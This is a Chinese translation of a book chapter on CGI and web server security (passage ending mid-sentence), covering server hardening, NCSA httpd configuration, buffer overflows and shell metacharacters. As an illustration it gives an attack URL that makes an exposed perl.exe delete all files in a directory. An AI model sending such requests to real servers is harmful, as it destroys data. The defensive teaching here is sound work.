明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

CGI的安全

[摘要]目錄: 1. 基本的安全問題 1-1. 操作系統(tǒng) 1-2. 增強服務器的安全  1-2-1.你應該在什么地方放置你的CGI程序?  1-2-2.SSI(Server-Side Includes)  1-2-3.增強你的Unix服務器的安全  1-2-4.例子:安全的配置NC...

目錄:
1. 基本的安全問題
  1-1. 操作系統(tǒng)
  1-2. 增強服務器的安全
  1-2-1.你應該在什么地方放置你的CGI程序?
  1-2-2.SSI(Server-Side Includes)
  1-2-3.增強你的Unix服務器的安全
  1-2-4.例子:安全的配置NCSA服務器
2.寫出安全的CGI程序
  2-1.語言的風險性
  2-2.shell危險性
3.安全處理
  3-1.SSL
  3-2.SHTTP
4.概要

  如果你以前從未編寫過應用于網(wǎng)絡的軟件,那么安全問題可能是你在編程時
最不注重的了。畢竟,在單機上,你沒有必要擔心寫了不安全的程序,因為,
大概也只能有一個人可以接近那臺計算機。

  但是,在編寫應用于Internet的軟件中需要非常強調安全問題。有一個挺老
的計算機格言說:"使一臺計算機真正安全的唯一方法是將它與世界斷開連接并
把計算機放到緊鎖的房間里。"可見,將計算機和一個網(wǎng)絡簡單相連就會降低你
的計算機的安全性。

  對于越大的相連的網(wǎng)絡這句話越適用,比如Internet,這里有成千上萬的人可
能會訪問你的計算機。很多基于Internet的服務,特別是WWW,別設計成能使其
他人很容易的從你的計算機中獲取信息。這些你允許接受訪問的服務(或者是
有意的,或者是無意的)都有可能成為老謀深算、心懷惡意的人的攻擊途徑。
一個很糟糕的網(wǎng)絡服務器很容易被攻破,甚至潛在給出了可以訪問你的整個計
算機和重要數(shù)據(jù)的權限。

  我說你提供的每一項網(wǎng)絡就象進入你系統(tǒng)中另一個門,是指什么呢?什么才
是安全破壞呢?不管是什么目的,安全破壞是指一個人從你的計算機中獲得了
未經(jīng)授權的訪問權。"Unauthorized access"(未經(jīng)授權的訪問權)也可以理解
為很多事情,試圖從服務器上運行一個非公共的程序,甚至是獲得在Unix中
獲得root權限。

  你過多的依賴于為網(wǎng)絡服務器編寫安全程序的程序員的知識和細心。畢竟,
沒有人指望你詳細審查幾千行的源碼只為了弄清楚軟件是否有安全漏洞;大多
數(shù)情況,你依賴編程者的可靠性和其他審閱源碼和仔細的幫助測試軟件的專家。
假如網(wǎng)蟲們證明了你不能完全相信這些程序員可以寫出完美的安全的代碼,那
么你可以采取措施最大限度的減少風險。

  在后面的"保護你的Web服務器",你將學習Web服務器的安全。目前,假定你的
應用于Web服務器的軟件是安全的,并且正確的配置了;也就是說,沒有人可以
僅僅通過你的Web服務器從你的機器中獲得未經(jīng)授權的權限。為什么寫安全的CGI
腳本很重要呢?CGI是一個允許你拓展Web服務器的一般協(xié)議。通過編寫CGI程序,
你能夠增加Web服務器的功能。這些功能很可能無意中引入新的安全漏洞。一個
糟糕的CGI應用程序很可能允許任何人擁有你的機器的完全的權限。

  用戶提交一個表單或者是以另一種方式訪問CGI腳本的時候,本質上來說,是
你允許他們遠程運行你的服務器中的應用程序。因為很多的CGI應用程序接受用
戶的表單輸入(或通過填寫表,或是通過命令行),從另一個角度來說,你允許
用戶控制CGI程序的運行。作為CGI程序的作者,你需要確定你的CGI腳本只能用
來實現(xiàn)它指定的功能。這一章提到了相關的Web安全問題,提供了編寫安全的CGI
程序的深入的資料。在本章的最后,你也會學會怎樣安全的編寫CGI。


1. 基本的安全問題

  你的Web服務器的全面的安全性取決于很多因素。如果你的Web服務器沒有正確
配置或者系統(tǒng)有其它漏洞的話,那么一個安全的CGI程序也是毫無用處的。這里,
我論述一些相關的Web安全問題,并說明如何為CGI程序正確的配置你的Web服務
器。

1-1. 操作系統(tǒng)

  一個通常的問題是什么樣的平臺對Web服務器來說更安全?運行System 7的
Macintosh,Unix的工作站,運行OS/2或Linux的PC等等。在這個問題上有過很多
爭論,這些反映了人們對不同的操作系統(tǒng)的不同的偏愛。
  沒有一個操作系統(tǒng)比另外一個明顯安全。Unix被認為比單用戶的平臺(比如
Macintosh或者是運行著Windows的PC)更安全,因為曾經(jīng)有人攻破過一些運行
著后者(注:括號中)的機器,并擁有了所有文件的權限。然而對于Unix,有一
個關于文件屬主和權限的基本的理解。如果你的服務器正確的配置了,并被一個
安全的用戶(比如:非root用戶)擁有,這時候,如果未經(jīng)授權的用戶闖進來,
他(她)只能造成有限的破壞。然而,有限的破壞已經(jīng)夠糟糕了,在以后的章
節(jié)的例子中你會明白。

  另一方面,因為Unix經(jīng)常要配置很多不同類型的網(wǎng)絡服務,比如mail,FTP,
Gopher,WWW等等,因此,有更多的潛在的“后門”。加強這些服務的安全性是一
個耗時的過程,甚至對有經(jīng)驗的系統(tǒng)管理員亦如此。即使你每項配置正確無誤,
然而在每個單獨的軟件包里仍有可能出現(xiàn)惱人的bug。安全漏洞在各種軟件包中
并不是罕見的,從一些組織(比如CERT(the Computer Emergency Response
Team))的有關各種的Unix網(wǎng)絡服務周期性的通知中我們可以清楚的了解到。

  每一個不同的平臺都有其不同的安全含意,但是不能彼此比較安全性。盡管
你應該注意每個操作系統(tǒng)的安全性,但是這不應該成為你選擇平臺的主要標準。
選擇你的平臺,糾正有關該平臺相關的安全漏洞,然后安全正確的配置你的Web
服務器。在你完完全全的完成這些步驟之后,你才應該將你的精力投入到編寫
安全的CGI腳本中去。

1-2. 保護你的服務器

  編寫安全的CGI腳本的第一步要確定你安全并正確的配置了你的Web服務器。
如果你的Web服務器并不可靠,那即使你再仔細編寫你的CGI腳本也是沒有用的,
人們仍然可以闖入你的計算機。而且,正確的配置你的Web服務器能夠減小糟糕
的CGI程序所帶來的可能的危害。

More:選擇一個安全的Web服務器

  在不同的平臺有數(shù)不清的Web服務器可供使用。如果可能的話,自我確定一個
產(chǎn)品是否安全是很困難的,你將不得不依靠公司的信譽和口頭承諾。
  檢查你的選擇。在你擁有了一個Web服務器的列表之后,看一下每個產(chǎn)品的有
效期以及目前有多少人使用它。越老的并且經(jīng)常使用的Web服務器,有關的安全
方面的bug越有可能被發(fā)現(xiàn)并修補。如果源碼是開放的,并且你有時間和專門技
術,自己從頭至尾看一下源文件,看看能否找到潛在的漏洞。閱讀網(wǎng)絡中不同的
新聞組對該產(chǎn)品以及作者和發(fā)行人的評論。著名的公司或作者會很快的通知用戶
其產(chǎn)品的任何問題。閱讀各個組織(如CIAC(Computer Incident Advisory
Capability)和CERT)有關安全方面的警告信息。

  檢查所有的服務器組件并確定你是否真的需要所有組件的特性。越復雜、功能
越強大的服務器,越有可能存在未被發(fā)現(xiàn)的安全問題。確定你的服務器支持日志
功能,這樣你可以跟蹤安全問題或其它故障的原因。

  有一個對付意外事件的計劃。如果發(fā)現(xiàn)安全漏洞,要隨時準備升級或者替換你
的Web服務器。關注新版本的發(fā)行和新聞組中有關你的Web服務器的信息。盡量使
用Web服務器最新的非測試的版本。

  不必擔心免費的服務器。關于開發(fā)源碼使服務器更安全或者相反有爭論。如果
服務器的源碼不公開,安全漏洞將更難發(fā)現(xiàn)。如果源碼公開,那么,理論上,漏
洞將很快被發(fā)現(xiàn),公開并得到修補。

在增強服務器的安全性時,應該有三個目的:

A.配置你的程序使它只能提供你指定的服務。
B.不到必要的時候不暴露任何信息。
C.如果系統(tǒng)遭到入侵,最大限度地減少損壞。

  我知道的有關你的計算機的信息越多,我就越有機會闖入你的計算機。例如,
如果我知道哪個目錄或者文件夾存儲了你的所有的敏感的、私有的信息,這樣,
我將進入你的系統(tǒng)獲取全部訪問權縮小至只是獲得某個目錄的權限(通常是更
容易了);蛘,如果我可以訪問你的服務器配置文件或源碼或者是你的CGI
腳本,那我可以很容易的瀏覽它們來尋找安全漏洞。如果你的系統(tǒng)有漏洞,你
不想讓別人輕易知道,你必須在別人之前發(fā)現(xiàn)它們。
1-2-1.你應該在什么地方放置你的CGI程序?

  很多服務器允許你通過各種不同途徑來運行CGI程序。例如,你可以指定一個
特定的目錄作為你的cgi-bin;蛘撸憧梢栽试SCGI存放在任何目錄下。

  這兩種方法都有優(yōu)缺點,但是從安全的角度來說,在一個指定的目錄中放置
你的所有的CGI應用程序更好。把所有的程序放到同一個目錄使你很容易跟蹤
你服務器器所有的應用程序并審查它們的安全漏洞,同時,還可以防止被惡意
修改。

 如果你傾向于使用描述型的語言(例如Perl)來編寫你的大部分的應用程序,
那么源碼被包含在程序自身中。如果你不小心的話,這些代碼很容易被閱讀,
甚至被利用。例如,很多文本編輯器存儲備份的文件,通常在文件名的后面加
一個擴展名(比如.bak)。

 舉個例子,emacs使用擴展文件名~存儲備份文件。假設你使用Perl編寫了一
個CGI腳本——program.cgi——存儲在Web的數(shù)據(jù)目錄而非中心的指定的目錄中。
現(xiàn)在,假設你使用emacs對程序做了一些瑣碎的修改而忘記了刪除備份文件。現(xiàn)
在,在你的目錄里有了兩個文件:program.cgi和program.cgi~。Web服務器知
道以.cgi結尾的文件是CGI程序,它會運行這個程序而不是顯示它的內容.然而,聰
明的用戶可能嘗試訪問program.cgi~.因為它不是以.cgi結尾,你的Web服務器將
它以原始的文本文件發(fā)送出去,這樣就允許用戶查看你的源代碼來搜尋可能的漏
洞.這違反了避免暴露不必要信息的原則.

  當然,如果你的服務器允許你指定位于某一特定的目錄下的文件均為CGI,那么
這個文件的擴展名是什么也就無關緊要了.這樣,在前面的例子中,如果備份文件
放在這樣特定的目錄里,當用戶試圖訪問它時,服務器就會運行這個程序而不是
發(fā)送源代碼.

  注意到在你的服務器中指定一個中心目錄作為CGI程序的存放位置是有限定的,
特別是在多用戶系統(tǒng)中.例如,如果你是一個ISP(Internet Service Provider)
并且你想讓你的的用戶可以編寫并運行他自己的CGI程序,你可能有意允許CGI程序
可以存放在任何的目錄中.做這個之前,認真考慮一下可替換的選項.你的客戶們打
算寫很多的特定的個性化的腳本嗎?如果不是,最好是讓你的客戶將他的CGI腳本提
交給你,然后由你將其添加到cgi-bin目錄中,而不要允許CGI可在任何目錄中有效.

  關于CGI程序的位置另外一個問題是將解釋器放在哪里.解釋腳本時,服務器運行
解釋器,由它順序裝載腳本并執(zhí)行.

  不要將解釋器放到你的cgi-bin目錄中,或其他有關你的數(shù)據(jù)結構的任何目錄中.
給了用戶訪問解釋器的權限本質上就是給了他們運行你的系統(tǒng)中任何程序或命令的
權力.

  如果你使用Windows或其他的非Unix操作系統(tǒng),這尤其重要.在Unix系統(tǒng)中,你可以
在腳本的第一行中指定解釋器.例如:

  #!/usr/local/bin/perl
  # this first line says use Perl to run the following script

  在Windows中,舉個例子,沒有類似在腳本中指定解釋器的方法.一個調用Perl腳本的
方法是建立一個批處理文件來調用Perl和腳本:

  rem progname.bat
  rem a wrapper for my perl script, progname.pl
  c:\perl\perl.exe progname.pl

  然而,你也許傾向于避免建立額外的程序,只是簡單的將perl.exe放在你的cgi-bin
目錄中,并訪問如下的URL:

  http://hostname/cgi-bin/perl.exe?progname.pl

  這也行,但是這樣也允許了網(wǎng)絡上的任何一個人運行你機器中的Perl命令.例如,可以
訪問如下的URL:

  http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3

  經(jīng)過解碼,其相當于調用Perl并運行下面的一行程序,這行程序將刪除當前目錄的所有
文件.顯然,這是我們不想的.

  unlink <*.*>;

  你永遠沒有理由將解釋器放入你的cgi-bin目錄中(或者其他可以運行CGI的目錄),所以
千萬不要這么做.一些Windows服務器能夠根據(jù)其擴展名辨別腳本的類型并運行相應的解釋
器.例如,Win-HTTPD認為每一個以.pl結尾的CGI腳本是Perl腳本,并自動運行Perl.如果你
的Web服務器沒有這個特性,就像這章第一個Windows Perl例子那樣使用包裝的腳本.
More:我應該使用一個解釋器嗎?

  如果你使用一個Unix或者是Macintosh的Web服務器的話,記住永遠不要冒險將
一個解釋器放到你的cgi-bin中.前面我們提到過,Unix允許你指定特定的位置給
包含腳本的解釋器.為了在Macintosh中使這些腳本有效,你可以使用一個應用程
序如ResEdit編輯代碼將腳本與挪用的解釋器結合.
1-2-2.SSI(Server-Side Includes)
(譯者注:本篇中我將其譯為"服務器嵌入指令")

  在第四章中,你已經(jīng)知道了應該避免服務器嵌入指令的原因。一個經(jīng)常提出
的一般原因是安全性。很顯然,一些服務器嵌入指令(特別是NCSA和Netsape)
的執(zhí)行會允許用戶將程序輸入包含到HTML文件中。每次當這些HTML文件被訪問
時,在服務器端程序會運行并將輸出作為HTML文件的一部分顯示出來。

  允許這種服務器的嵌入指令,你就很容易受到一些安全風險的影響。首先,
在Unix的計算機中,程序由服務器的所有者運行,而不是程序的所有者。如果
你的服務器沒有正確配置,并且將重要的文件或程序交給服務器的所有者,這
些文件和程序以及它們的輸出有可能被你的計算機的用戶所訪問。

  當你允許用戶通過瀏覽器修改你系統(tǒng)中的HTML文件時,這種風險就增大了。
一個通常的例子是留言本。在留言本中,用戶填寫表單并把信息提交到CGI程序
中,程序一般是將未編輯的信息附加到一個HTML文件中。如果不編輯或過濾提
交的信息,你就允許了用戶從他或她的瀏覽器中提交HTML代碼。如果你允許程
序在服務器端嵌入執(zhí)行,不懷好意的用戶就可以通過提交如下的附加代碼給你
的機器造成破壞:

 

  這個服務器嵌入指令將試圖盡可能地刪除你的機器中的所有內容。

  你可以通過很多方法避免這個問題,而不需要完全關閉服務器嵌入。你可以
在將提交的文本附加到你的留言本之前過濾所有的HTML附加代碼;蛘吣憧梢
禁止你的服務器嵌入中的exec的功能(在這章后面的"增強你的Unix服務器的安
全"中我將演示在NCSA服務器中如何做)。

  如果你忘記了其中的任何一條,其他的一些防護措施同樣可以很大程度上減少
因這種附加代碼造成的危害.例如,只要你的服務器以不存在的用戶,非root的身
份運行,這個附加代碼不會刪除任何重要的東西,可能什么也不會丟掉.假設不還
好意者不是試圖刪除你的磁盤上的所有東西,而是使用如下的代碼獲取你的
/etc/passwd作為破解之用:

 

  當然,如果你的系統(tǒng)使用的是shadow型的passwd檔,那么你的/etc/passwd對
潛伏的hacker來說毫無用處.

  這個例子論證了通常的服務器端嵌入指令和CGI中兩個很重要的問題.首先,
安全漏洞可以被完全隱藏.誰會想到一個簡單的使用SSI編寫的留言本程序可以
體現(xiàn)如此之大的安全風險?其次,一個安全漏洞的潛在的危害可以通過正確配置
你的服務器和加強你的系統(tǒng)安全來降低到最小.
1-2-3.增強你的Unix服務器的安全

  一個安全的Unix系統(tǒng)對于Web文件服務來說是個非常優(yōu)秀的平臺。然而,在
加強服務器安全和正確配置Unix的Web服務器的過程中伴隨著很多復雜的問題。
你應該做的第一件事就是確定你的機器已經(jīng)盡可能的安全了。

  將你不需要的網(wǎng)絡服務關掉,不管對你而言他們是多么沒有害處。任何人未
必能使用finger協(xié)議侵入你的系統(tǒng),舉個例子,它提供了一些用戶的信息,然
而,finger可以提供給hacker關于你的系統(tǒng)的有用的信息。

  加強你的系統(tǒng)的內部安全。如果hacker設法破解了一個用戶帳號,要確定這
個hacker不會獲得額外的權限。安全shadow型的password文件和去除設定用戶
權限的腳本(腳本以所有者的身份運行,即使是由其他用戶調用時)是很有用的。

  加強Unix機器的安全是一個復雜的課題,超出了本書的范圍。我強烈建議你
購買一本這方面的書,閱讀Internet上這方面的資源,如果有必要的話,甚至
可以雇傭一個咨詢顧問。不要低估加強你的機器安全的重要性。

  另外,分配隔離的空間給你的Web服務器和文件。你的文件目錄的用途是將這
些文件提供給其他人使用,可能是整個Internet,因此你不要將你別人知道的
任何東西放到這些目錄里。你的服務器目錄包含重要的日志和配置信息,并且
你要盡可能的不要讓你的內部用戶看到或修改它。

  要明智的設置你的目錄和服務器的所有權和使用權。為Web相關的目錄建立一
個新的用戶和組是通常的一個方法。確定非特權用戶不能更改服務器或文件目
錄。

  你的服務器千萬不要以root身份運行(running as root)。在Unix系統(tǒng)中,
只有root能夠訪問小于1234的端口。因為缺省的Web服務器運行于端口80,你需
要是root來啟動一個Web服務器。然而,在一個Web服務器以root身份運行以后,
它可以修改自身進程的所有權,或者改變它用以處理連接的子進程的所有權。
其中任何一種方法都需要服務器以非root身份運行。確定配置你的Web服務器
使其以非root身份運行,最好是以一個完全不存在的用戶如nobody。這樣,如
果在你的Web服務器或CGI程序中有漏洞時,它可以降低潛在的危害。

  禁止所有你不需要的服務器特性。如果你開始禁止了一個特性,而后來又決定
使用它時,你總是可以將其改回來的。像SSI和SSL都是你可能需要禁止的。

  如果你的用戶不需要通過你的服務器將他們個人的Web文件用于服務,就需要
使Web目錄無效。這樣一來,你就可以完全地控制你的機器中用于服務的所有文
件,這對于通常的維護和安全是很重要的。

  如果你的用戶需要將他們個人文件用于服務(例如,如果你是一個IAP(Internet
Access Provider),確信他們不能超越你的主范圍。認真考慮一下用戶是否需要
在他們的個人目錄里運行CGI程序的權力。前面我們已經(jīng)提到,最好將所有的CGI
放到一個集中的位置。

--------------------------------------------------------------------
CGIWRAP:

  在Web上一個流行的軟件包是cgiwrap,由Nathan Neulinger(nneul@umr.edu)
編寫。這個軟件包允許用戶作為程序的擁有者運行他們自己的CGI程序,而不是
作為服務器的所有者。

  不清楚僅僅允許所有人運行他們自己的未包裝的CGI程序是更否更有益。一方
面,一個糟糕的CGI腳本由nobody擁有比起由一個實際存在的用戶擁有來說,前
者可能造成的危害更小。另一方面,如果CGI程序以nobody運行對系統(tǒng)造成了破
壞,那么責任在于系統(tǒng)管理員,相反,如果只是一個特定的用戶文件被破壞了,
那么責任終將是用戶的。

  我的建議是不要賦予用戶運行個人CGI的權力,如果這樣不可能,那么你最終
使用cgiwrap還是一個簡單的程序取決于你想責任出在哪里。
---------------------------------------------------------------------

  最后,你可能需要考慮你的Web文件建立一個chroot環(huán)境。在Unix系統(tǒng)中,你
可以通過使用chroot來保護目錄。當server運行在一個chroot的目錄中時,它看
不到這個目錄之外的任何東西。在一個chroot環(huán)境中,如果有人想侵入你的Web
服務器,他們只會破壞這個目錄里的文件。

  注意,一個chroot環(huán)境僅適用于當Web服務器提供單獨的文件資源。如果你的Web
服務器將用于服務的用戶文件存放在多個目錄中時,想建立一個有效的chroot環(huán)境
幾乎是不可能的。另外,解釋器(例如Perl或者一個shell)的存在也會降低chroot
環(huán)境的性能。在一個沒有任何shell和解釋器的chroot環(huán)境中,侵入系統(tǒng)的人最壞
情況下能改變和破壞你的文件,如果存在解釋器,潛在的危害會上升。
1-2-4.例子:安全的配置NCSA服務器

  我將通過討論NCSA服務器(v1.4.2)來論證怎樣著手正確地配置Unix環(huán)境下的
通用的Web服務器。有很多Web服務器可以運行在Unix系統(tǒng)下,NCSA是最早的服
務器之一,被廣泛使用并且屬于自由軟件,而且相當容易配置。我僅說明我認
為對Web服務器安全方面有關的配置;想獲得有關配置NCSA httpd更多詳細的說
明,請參照它的站點:

  http://hoohoo.ncsa.uiuc.edu/

你可以將這里說明的原則應用到幾乎所有的Unix Web服務器中。

  首先,我需要表明我的目標。在這個方案中,我想將NCSA服務器架設在一個很
小的名為MyCompany的ISP的安全的Unix機器上。這臺機器的域名為
www.mycompany.net。我需要我的機器中的每一個擁有帳號的人能夠將他或她的
Web文件用于服務并可以使用CGI或其他的特性。

  我絕對應該需要什么特性呢?這里,因為我是一個很小的ISP,我不能讓用戶自
行將其CGI用于服務。如果他們想寫出并使用他們自己的CGI程序,他們必須將其
提交給我來檢查;如果CGI程序沒問題,我就安裝它。另外,我要提供一些通常
需要的一般的程序,比如留言本和各類表單處理的應用程序。現(xiàn)在,這個方案里
我不需要其他任何的特性了,包括服務器嵌入指令。

  我們來看一下我將如何配置我的Web服務器。我將建立用戶和www組;這些將擁
有所有恰當?shù)哪夸。我將建立一個目錄來存放我的服務器文件
(/usr/local/etc/httpd/)和存放Web文件的目錄(/usr/local/etc/httpd/htdocs/)。
所有這些目錄對全球是可讀的對所建立的用戶和組是可寫的。

  現(xiàn)在,我將要配置服務器。NCSA HTTPD有三個配置文件:access.conf,httpd.conf
和srm.conf。首先,你需要告訴httpd你的Server和HTML的目錄所在。在httpd.conf
中,以如下一行來指定Server的目錄:

  ServerRoot /usr/local/etc/httpd

  在srm.conf中,這樣指定文件目錄:

  DocumentRoot /usr/local/etc/httpd/htdocs

  因為我想指定在/usr/local/etc/httpd/cgi-bin目錄中的所有文件為CGI程序,
在srm.conf中包含如下一行:

  ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin

  注意我的cgi-bin目錄的實際位置在我的服務器目錄而不是文件目錄。因為我想
要使我的服務器目錄(包括包含CGI的目錄)盡量為私有,我將它放到文件目錄以外。
如果你在該目錄中有一個名為mail.cgi的CGI,我可以通過如下的URL訪問它:

  http://www.mycompany.net/cgi-bin/mail.cgi

  在srm.conf中需要編輯另一行;它對我們追求特定的服務器安全不是特別有關系,
但是為了徹底的安全,我還是要提到它:

  Alias /icons/ /usr/local/etc/httpd/icons

  這個Alias指令允許我們?yōu)槟愕奈募夸洏鋬炔炕蛞酝獾哪夸浿付ㄒ粋別名。與
ScriptAlias指令不同,Alias并不改變目錄的含義。

  因為我需要禁止服務器嵌入指令,并不允許CGI在cgi-bin以為的目錄運行,在
srm.conf中我通過在行首插入一個英鎊符號(#)注釋掉幾行:

  #AddType text/x-server-parsed-html.shtml
  #AddType application/x-httpd-cgi.cgi

  AddType可以幫助你在MIME類型和文件擴展名間建立關聯(lián)。text/x-server-parsed-html
對parsed HTML來說是MIME類型,而application/x-httpd-cgi則是CGI應用程序
類型。這里,我不需要為這種MIME類型指定擴展名,因為在配置服務器的時候,
我們忽略cgi-bin中的所有文件擴展名,一律被視為CGI。

  最后,我需要通過編輯全局的access.conf文件來設置某些目錄的屬性和訪問
權限。為了為所有的目錄定義全局的參數(shù),僅僅將沒有任何環(huán)境標記的指令放到
文件中。為了為特定的目錄指定參數(shù),在directoryname是目錄的全路徑時,通過
來包含指令。

  缺省情況下,下面的全局選項這樣設置:

  Options Indexes FollowSymLinks

  當URL指定的目錄里沒有要查找的文件時,Indexes允許你指定一個文件。缺
省情況下,這個變量為index.html,通過srm.conf中的DirectoryIndex來指定,
很符合我們的意圖。FollowSymLinks意指服務器會返回符號連接指向的數(shù)據(jù)。
我沒看到這個特性的必要性,所以我禁止了它,F(xiàn)在,這一行看起來象這樣:

  Options Indexes

  如果我想在任何目錄中使CGI程序有效,我可以通過包含ExecCGI選項來設置:

  Options Indexes ExecCGI

  這一行,結合在srm.conf中的AddType指令,可以允許我通過在任何目錄中給所
有的CGI程序添加.cgi的擴展名來執(zhí)行一個CGI。

  缺省情況下NCSA httpd的配置,通過在一個具有適當?shù)膶傩院驮L問限制的特
定目錄中創(chuàng)建.htaccess文件使access.conf中的所有設置都可以被超越。在這
種情況下,我不介意用戶改變它們的訪問限制。然而,我不想賦予用戶在他們
自己的目錄里執(zhí)行CGI和.htaccess文件的能力。

  AddType application/x-httpd-cgi .cgi
  Options Indexes ExecCGI

  因此,我編輯access.conf來允許用戶超越除了選項外所有的設置:

  AllowOverride FileInfo AuthConfig Limit

  現(xiàn)在,我的服務器安全的配置了。我只允許在cgi-bin目錄中運行CGI,并且
使服務器嵌入指令完全無效。服務器以nobody用戶運行,一個我的系統(tǒng)中不存
在的用戶。我禁止了所有我不需要的特性,并且用戶不能超越這些年特殊的限
制。想了解很多的其他的配置信息,包括詳盡的訪問限制,請參照NCSA服務器
說明文件。
2.寫出安全的CGI程序

  假設你已經(jīng)使的你的計算機和Web服務器很安全了,那么你后面就應該學會
怎樣寫出一個安全性很好的CGI程序。編寫安全的CGI的原則和前面提到的相
似:

A.你的程序只能實現(xiàn)你指定的功能。
B.不要給客戶額外的它不需要知道的信息。
C.不要相信客戶給你正確的信息。

  關于第一條可能存在的安全隱患我在guestbook的例子中已經(jīng)說明了。我提到
了幾個可以揭露漏洞的常見的錯誤,但是,你同樣應該記。耗銘斂紤]你所
應用的每一個函數(shù)的所有含義。

  第二條是一般安全性原則的簡單擴展:系統(tǒng)之外的人對你的系統(tǒng)了解的越少,
你的系統(tǒng)就越?jīng)]有可能被攻破。

  最后一條原則只是一條很好的很重要的編程原則,但同樣也是安全性很好的
一個。CGI程序應該是安全可靠、健壯的。一個hacker可能做的第一件事是想盡
一切辦法通過在你的CGI程序中不斷調整輸入來搞亂程序,進而達到攻入計算機
的目的。如果你的程序并不健壯,那么這時,它或者會崩潰,或者會實現(xiàn)其它
的功能(當然這些功能是你不允許的)。這兩種可能性都是令人不快的。為了杜
絕這種可能性,不要對你的客戶可能發(fā)送的信息格式或值作任何的假定。

  大多數(shù)CGI程序的本質是簡單的輸入/輸出程序。它提取客戶端的說明并返回
一些響應。這種程序幾乎沒有風險(當然也會出現(xiàn)漏洞,后面你會看到)。因
為CGI程序并不對輸入感興趣,沒有什么錯誤可能發(fā)生。然而,一旦你的程序利
用輸入啟動,可能回調用其他的程序,寫文件,或者做一些功能更強大的而非
簡單返回輸出的事情,那么你就會冒引入安全漏洞的風險。通常,功能是直接
和安全風險成比例的。
2-1.語言的風險性

  不同的語言有其與生俱來的安全風險。任何語言都可以編寫安全的CGI程序,
但是你必須注意每個語言的怪癖(急轉)。這里,我只討論C和Perl,但是它
們的有些特性并不適用于其它語言。想得到其他語言的指定信息,請參照適當
的文件。

  在前面的章節(jié)我們學到,一般來說,編譯CGI程序比解釋腳本更可取。編譯
程序有兩個優(yōu)勢:首先,你不需要有服務器可理解的解釋器;其次,程序的
源文件是不可訪問的。注意,像Perl一樣的傳統(tǒng)的解釋型語言可以被編譯成
二進制形式。(關于如何在Perl中實現(xiàn),請參閱Larry Wall和Randall Schwartz
的《Perl編程》)從安全立場來說,編譯的Perl程序和編譯的C程序一樣好用。

  像C這樣比較低級的語言會出現(xiàn)被稱為buffer overflow的問題。C語言并沒
有處理字符串的好的內置的方法。通常的方法或者是聲明一個字符數(shù)組或者
指向字符的指針。很多人傾向于前一種方法,因為它編程比較簡單。思考一
下下面兩個功能等價的程序代碼。

程序1. 在C語言中使用數(shù)組定義字符串.
#include
#include
#define message "Hello, world!"
int main()
{
  char buffer[80];
  strcpy(buffer,message);
  printf("%s\n",buffer);
  return 0;
}

程序2. 在C語言中使用指針定義字符串.
#include
#include
#include
#define message "Hello, world!"
int main()
{
  char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
  strcpy(buffer,message);
  printf("%s\n",buffer);
  return 0;
}

  程序1比程序2簡單得多,而且在這個特定的例子里,兩者都可以很好的工
作。我們假設有這樣一個例子:我已經(jīng)知道了我處理的字符串的長度,因此,
我可以定義一個適當?shù)臄?shù)組長度。但是,在CGI程序里,你不知道輸入的字符
串會有多長。舉個例子,如果信息的長度大于80 char,那么程序1會崩潰(即
我們通常說的"溢出")。

  這被稱為buffer overflow,聰明的hacker就會利用這個來遠程執(zhí)行命令。這
個緩沖溢出的bug存在于NCSA httpd v1.3中。這是為什么一個網(wǎng)絡(或CGI)程
序員需要更細心地編程的很好的例子。在一個單用戶的機器里,緩沖溢出只能
造成系統(tǒng)崩潰。在崩潰的單用戶計算機中沒有必要利用緩沖溢出來執(zhí)行程序,
因為大概你已經(jīng)執(zhí)行了你需要的任何程序(除了公共終端)。然而,在網(wǎng)絡系統(tǒng)
中,一個崩潰的CGI程序遠不是這么簡單,它會成為未經(jīng)授權的用戶進入的后門。

  程序2中的代碼解決了兩個問題。首先,它動態(tài)的分配了存儲字符串的足夠的
空間。其次,注意我將信息的長度加了1。這樣,我實際上分配了比字符串長度
多1字節(jié)的內存。這就保證字符串不會是0。因為目標字符總是會為額外的字符
留有空間,strcpy()函數(shù)在目標字符串的最后添加了空字符,strcpy()放置了空
字符。沒有理由認為傳送給CGI腳本的字符串會是空字符,因此,為了以防萬一,
我在最后留了1字節(jié)的空間。

  倘若你的C程序避免了像緩沖溢出這樣的問題,那么你就可以寫出安全的CGI
程序。然而,這是艱苦的工作,特別是當你的CGI很大更復雜的時候。這些問題
將迫使你花費比一般的CGI任務更多的時間來思索低級語言的設計工作;谶@
個原因,你可能更喜歡高級一點的編程語言(如Perl)。

  然而,具有高級特點的Perl有著冒失的一面。盡管你能假設Perl會正確地處
理字符串的存儲,但當Perl使用你并不注意的高級一點的語法做一些事情時,
很可能會有危險。在下一節(jié)中你會更清楚的了解到。
2-2.shell危險性

  很多的CGI任務都可以使用其他的程序很容易的實現(xiàn)。例如,你要寫一個CGI
的郵件網(wǎng)關,完全使用CGI程序來完成執(zhí)行郵件的發(fā)送代理是很愚蠢的行為。更
實用的方法是將數(shù)據(jù)通過管道傳送到一個存在的郵件傳送代理程序,比如
sendmail,然后讓sendmail來完成剩下的工作。這種習慣很好并值得鼓勵。

  安全風險依賴于你怎樣調用這些外部的程序。完成這項工作在Perl和C中有很
多函數(shù)可以實現(xiàn)。它們中很多函數(shù)通過調用shell,然后讓shell來執(zhí)行這個命
令。這些命令被列在表1中,如果你使用了它們中的一個,那么你就使得Unix
shells在攻擊下顯得很脆弱。

  表1. C和Perl中可以調用shell的函數(shù).
  Perl 函數(shù) C 函數(shù)
  system('...') system()
  open(' ...') popen()
  exec('...')

  eval('...')

 `...`

  為什么shell很危險呢?有很多的非數(shù)字的字符可以通過shell轉換成特殊的
字符。這些字符被稱為元字符(譯者注:這里我將metacharacter譯為元字符),見表2。

表2. Shell metacharacters.
; < > * ` & $
! # ( ) [ ] : {
} ' "


  每一個這種字符在shell中都起著特殊的作用。例如,假如你想利用finger來
查詢一臺計算機并將結果存儲到一個文件中,你可以在命令行中如下輸入:

  finger @fake.machine.org > results

  這會使用finger查詢主機fake.machine.org并將查詢結果保存到一個文本文
件results中。這個>字符在這里是一個重定向符。如果你要實際地使用>字符
——例如,你想將它回顯到屏幕上——你將需要在這個字符前加一個反斜杠。
舉個例子,下面將向屏幕輸出一個符號>:

  echo \>

  這被稱為轉義字符(escaping or sanitizing the character string)。

  hacker是怎樣利用這個作為他(她)的優(yōu)勢的?觀察以下程序3中用perl編
